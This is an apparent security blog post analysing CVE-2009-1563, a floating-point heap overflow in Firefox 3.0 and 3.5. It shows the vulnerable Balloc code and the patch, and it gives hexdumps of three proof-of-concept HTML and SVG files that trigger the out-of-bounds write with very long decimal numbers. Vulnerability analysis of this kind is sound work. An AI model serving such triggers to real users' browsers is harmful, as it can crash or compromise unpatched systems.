xorl %eax, %eax

CVE-2009-1563: Mozilla Firefox Floating Point Heap Overflow

leave a comment »

This vulnerability was discovered and reported by Alin Rad Pop of Secunia Research and it affects Mozilla Firefox prior to 3.0.15 for 3.0 releases and prior to 3.5.4 for 3.5 releases. Here is the vulnerable code as seen in nsprpub/pr/src/misc/prdtoa.c:

#define Kmax 15
     ...
struct
Bigint {
    struct Bigint *next;
    int k, maxwds, sign, wds;
    ULong x[1];
    };
 
typedef struct Bigint Bigint;
 
static Bigint *freelist[Kmax+1];
 
static Bigint *
Balloc
#ifdef KR_headers
    (k) int k;
#else
    (int k)
#endif
{
     ...
    if (rv = freelist[k])
        freelist[k] = rv->next;
     ...
    rv->sign = rv->wds = 0;
    return rv;
    }

This allocation routine, Balloc(), is used by s2n() (meaning string to number) and as Reed Loden said:

The s2b() function takes the total number of digits and determines the
first number K for which : 1 <= (numdigits + 8)/9.

This ‘K’ result is used in Balloc() for space allocation. As you can read from the above snippet, ‘freelist[]’ is a statically allocated array of 16 elements. If ‘k’ contains a value greater than 16, Balloc() will attempt to access invalid memory since it’ll use that argument as an index to the freelist which contains exactly 16 elements. The subsequent operations result in a controlled out of bounds write operation.
This was fixed by changing the above if statement like this:

    ACQUIRE_DTOA_LOCK(0);

-   if (rv = freelist[k])
+   /* The k > Kmax case does not need ACQUIRE_DTOA_LOCK(0), */
+   /* but this case seems very unlikely. */
+   if (k <= Kmax && (rv = freelist[k]))
        freelist[k] = rv->next;

This way, it checks that index value never exceeds the ‘Kmax’ constant. In addition to this, the exact same vulnerability was also present in js/src/dtoa.c and it was patched using the same approach.
A PoC trigger HTML script was provided to Mozilla project by Secunia Research and can be downloaded here. What it does is to simply create an amazingly large floating point number that results in a ‘k’ value greater than 16. Since pasting a few thousands of ‘4’ would be impractical, here is a hexdump(1) output:

xorl:~$ hexdump -C secunia.htm
00000000  3c 68 74 6d 6c 3e 3c 62  6f 64 79 3e 3c 73 63 72  |<html><body><scr|
00000010  69 70 74 3e 76 61 72 20  77 6f 6f 3d 30 2e 34 34  |ipt>var woo=0.44|
00000020  34 34 34 34 34 34 34 34  34 34 34 34 34 34 34 34  |4444444444444444|
*
00090010  34 34 34 34 34 34 34 34  34 34 34 34 34 34 34 3b  |444444444444444;|
00090020  3c 2f 73 63 72 69 70 74  3e 3c 2f 62 6f 64 79 3e  |</script></body>|
00090030  3c 2f 68 74 6d 6c 3e                              |</html>|
00090037
xorl:~$

Which as you can read, is a simple variable named ‘woo’ with a huge floating point numner 0.4444…4
Another PoC HTML document that was used during the patching of that vulnerability was also available in their bug tracking system and you can downloaded from here. This is pretty much the same except that they use 0.1111…1 instead of 0.4 and that number is almost twice in length as you can see here:

xorl:~$ hexdump -C cve2009-1563.htm
00000000  3c 73 63 72 69 70 74 3e  0a 76 61 72 20 69 20 3d  |<script>.var i =|
00000010  20 30 2e 31 31 31 31 31  31 31 31 31 31 31 31 31  | 0.1111111111111|
00000020  31 31 31 31 31 31 31 31  31 31 31 31 31 31 31 31  |1111111111111111|
*
00120010  31 31 31 31 31 3b 0a 3c  2f 73 63 72 69 70 74 3e  |11111;.</script>|
00120020  0a                                                |.|
00120021
xorl:~$

The last PoC code uses the SVG namespace and you can find it here. Once again, the same approach is used but in an SVG document like this:

xorl:~$ hexdump -C s2n-svg.htm
00000000  3c 73 76 67 20 78 6d 6c  6e 73 3d 22 68 74 74 70  |<svg xmlns="http|
00000010  3a 2f 2f 77 77 77 2e 77  33 2e 6f 72 67 2f 32 30  |://www.w3.org/20|
00000020  30 30 2f 73 76 67 22 3e  0a 0a 3c 70 61 74 68 20  |00/svg">..<path |
00000030  64 3d 22 4d 31 2e 31 31  31 31 31 31 31 31 31 31  |d="M1.1111111111|
00000040  31 31 31 31 31 31 31 31  31 31 31 31 31 31 31 31  |1111111111111111|
*
00060030  31 31 31 31 31 31 22 20  2f 3e 0a 0a 3c 2f 73 76  |111111" />..</sv|
00060040  67 3e 0a                                          |g>.|
00060043
xorl:~$

Written by xorl

October 31, 2009 at 01:05

Posted in bugs

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s